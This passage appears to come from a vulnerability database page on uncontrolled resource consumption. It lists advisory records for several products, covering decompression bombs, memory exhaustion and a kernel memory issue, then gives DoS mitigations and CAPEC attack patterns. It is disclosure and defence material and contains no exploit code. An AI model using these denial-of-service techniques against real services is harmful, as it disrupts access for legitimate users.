"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server"
}
GHSA-G9V9-W2CQ-VJC2
Vulnerability from github – Published: 2025-02-11 18:31 – Updated: 2025-02-11 18:31Internet Connection Sharing (ICS) Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2025-21352"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T18:15:34Z",
"severity": "MODERATE"
},
"details": "Internet Connection Sharing (ICS) Denial of Service Vulnerability",
"id": "GHSA-g9v9-w2cq-vjc2",
"modified": "2025-02-11T18:31:38Z",
"published": "2025-02-11T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21352"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21352"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9WH-3VRX-R7HG
Vulnerability from github – Published: 2021-11-10 20:39 – Updated: 2021-11-10 18:19OctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash).
Patches
For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/cfrpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3912"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:19:37Z",
"nvd_published_at": "2021-11-11T22:15:00Z",
"severity": "MODERATE"
},
"details": "OctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash). \n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n\n",
"id": "GHSA-g9wh-3vrx-r7hg",
"modified": "2021-11-10T18:19:37Z",
"published": "2021-11-10T20:39:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/security/advisories/GHSA-g9wh-3vrx-r7hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3912"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/commit/648658b1b176a747b52645989cfddc73a81eacad"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0253"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5041"
},
{
"type": "PACKAGE",
"url": "github.com/cloudflare/cfrpki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OctoRPKI crashes when processing GZIP bomb returned via malicious repository"
}
GHSA-GC47-VPXP-52X2
Vulnerability from github – Published: 2024-05-20 15:31 – Updated: 2024-07-03 18:42An issue in taurusxin ncmdump v1.3.2 allows attackers to cause a Denial of Service (DoS) via memory exhaustion by supplying a crafted .ncm file
{
"affected": [],
"aliases": [
"CVE-2024-34953"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-20T14:15:09Z",
"severity": "HIGH"
},
"details": "An issue in taurusxin ncmdump v1.3.2 allows attackers to cause a Denial of Service (DoS) via memory exhaustion by supplying a crafted .ncm file",
"id": "GHSA-gc47-vpxp-52x2",
"modified": "2024-07-03T18:42:37Z",
"published": "2024-05-20T15:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34953"
},
{
"type": "WEB",
"url": "https://github.com/taurusxin/ncmdump/issues/19"
},
{
"type": "WEB",
"url": "https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_mmExhausted/dos_mmExhausted.assets/image-20240505161831080.png"
},
{
"type": "WEB",
"url": "https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_mmExhausted/dos_mmExhausted.md"
},
{
"type": "WEB",
"url": "https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_mmExhausted/poc/I7K9QM~F"
},
{
"type": "WEB",
"url": "https://github.com/Helson-S/FuzzyTesting/tree/master/ncmdump/dos_mmExhausted"
},
{
"type": "WEB",
"url": "https://github.com/Helson-S/FuzzyTesting/tree/master/ncmdump/dos_mmExhausted/poc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GC6C-6M8M-8G6G
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40The affected product has uncontrolled resource consumption issues, which may allow an attacker to cause a denial-of-service condition on the OPC UA Tunneller (versions prior to 6.3.0.8233).
{
"affected": [],
"aliases": [
"CVE-2020-27295"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-26T20:15:00Z",
"severity": "HIGH"
},
"details": "The affected product has uncontrolled resource consumption issues, which may allow an attacker to cause a denial-of-service condition on the OPC UA Tunneller (versions prior to 6.3.0.8233).",
"id": "GHSA-gc6c-6m8m-8g6g",
"modified": "2022-05-24T17:40:11Z",
"published": "2022-05-24T17:40:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27295"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-021-03"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GC6P-FH5J-358P
Vulnerability from github – Published: 2025-03-10 21:31 – Updated: 2025-03-11 03:30The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15. An app may be able to cause unexpected system termination or corrupt kernel memory.
{
"affected": [],
"aliases": [
"CVE-2024-54546"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-10T19:15:38Z",
"severity": "HIGH"
},
"details": "The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15. An app may be able to cause unexpected system termination or corrupt kernel memory.",
"id": "GHSA-gc6p-fh5j-358p",
"modified": "2025-03-11T03:30:49Z",
"published": "2025-03-10T21:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54546"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121238"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.